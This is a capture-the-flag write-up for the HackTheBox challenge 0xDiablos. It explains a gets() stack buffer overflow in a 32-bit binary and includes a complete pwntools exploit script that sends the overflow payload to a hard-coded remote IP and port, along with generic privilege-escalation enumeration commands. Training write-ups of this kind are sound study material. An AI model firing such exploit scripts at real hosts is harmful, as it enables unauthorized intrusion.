0xDiablos
0xDiablos
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: ret2func_with_args, return_address_overwrite, stack_buffer_overflow
Summary
Task: Exploit a 32-bit binary with gets() buffer overflow to call a flag-printing function with correct parameters. Solution: Overflow 188 bytes to overwrite EIP with the flag() function address, place magic values 0xdeadbeef and 0xc0ded00d on the stack as cdecl arguments after a fake return address.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260209_hackthebox_0xdiablos - Tags: buffer_overflow, gets, ret2win, x86_32, cdecl, parameter_passing
- Indicators: gets() call, win function with parameter checks, No PIE, No canary, 32-bit ELF
- Source:
20260209_hackthebox_0xdiablos.md
Foothold
Vulnerability / Misconfiguration
- Ret2func_with_args
- Return_address_overwrite
- Stack_buffer_overflow
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- ret2func_with_args
- return_address_overwrite
- stack_buffer_overflow
- Tags: buffer_overflow, gets, ret2win, x86_32, cdecl, parameter_passing
Original Writeup
<details><summary>Click to expand original content</summary>Description
A classic binary exploitation challenge where you are given a 32-bit ELF binary called "vuln" and a remote target to exploit. The binary has a buffer overflow vulnerability that must be exploited to call a hidden flag-printing function with the correct magic parameters.
Binary Analysis
File: ELF 32-bit, dynamically linked, not stripped
Security:
- No PIE (base 0x8048000 — fixed addresses)
- No stack canary
- NX disabled (executable stack)
- Partial RELRO
- RWX segments present
Key functions (via objdump):
vuln()at0x08049272— containsgets()call (buffer overflow)flag()at0x080491e2— reads and prints flag.txt, but requires correct parameters
Vulnerability
vuln()allocates a buffer atebp - 0xb8(184 bytes)- Calls
gets()on this buffer — unbounded read, classic stack buffer overflow - No stack canary to prevent overwrite
flag(param1, param2) function logic:
- Opens "flag.txt" with
fopen() - Reads contents with
fgets()(64 bytes) - Checks if
param1 == 0xdeadbeefANDparam2 == 0xc0ded00d - Only if BOTH checks pass, calls
printf()to print the flag - If either check fails, returns silently without printing
Buffer overflow math:
- Buffer size: 184 bytes (
ebp - 0xb8) - Saved EBP: 4 bytes
- Offset to EIP (return address): 184 + 4 = 188 bytes
Exploitation Strategy
- Overflow the buffer in
vuln()to overwrite the saved return address (EIP) - Redirect execution to
flag()function - Since this is a 32-bit binary using cdecl calling convention, function arguments are passed on the stack after the return address
- Place the two magic values (
0xdeadbeef,0xc0ded00d) at the correct stack positions
Payload layout (32-bit cdecl):
[188 bytes padding] [flag() addr] [fake return] [param1] [param2]
'A' * 188 0x080491e2 'BBBB' 0xdeadbeef 0xc0ded00d
Total payload: 204 bytes
Solution
#!/usr/bin/env python3 from pwn import * HOST = "154.57.164.82" PORT = 30932 flag_addr = 0x080491e2 offset = 188 payload = b"A" * offset payload += p32(flag_addr) # overwrite EIP -> jump to flag() payload += b"BBBB" # fake return address (don't care) payload += p32(0xdeadbeef) # param1 payload += p32(0xc0ded00d) # param2 r = remote(HOST, PORT) r.recvuntil(b"You know who are 0xDiablos:") r.sendline(payload) response = r.recvall(timeout=5) print(response) r.close()
Lessons Learned
- cdecl calling convention (32-bit): Arguments are pushed on the stack right-to-left. After overwriting EIP, the stack layout is:
[return addr of flag()] [param1] [param2] - Difference from x86_64: In 64-bit, first 6 args go in registers (rdi, rsi, rdx...), requiring ROP gadgets like
pop rdi; ret. In 32-bit, everything is on the stack — simpler exploitation gets()is always a vulnerability — it reads until newline with no size limit, making buffer overflow trivial- Parameter checks in win functions are a common CTF pattern — always disassemble the flag function to check if it validates arguments before printing
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR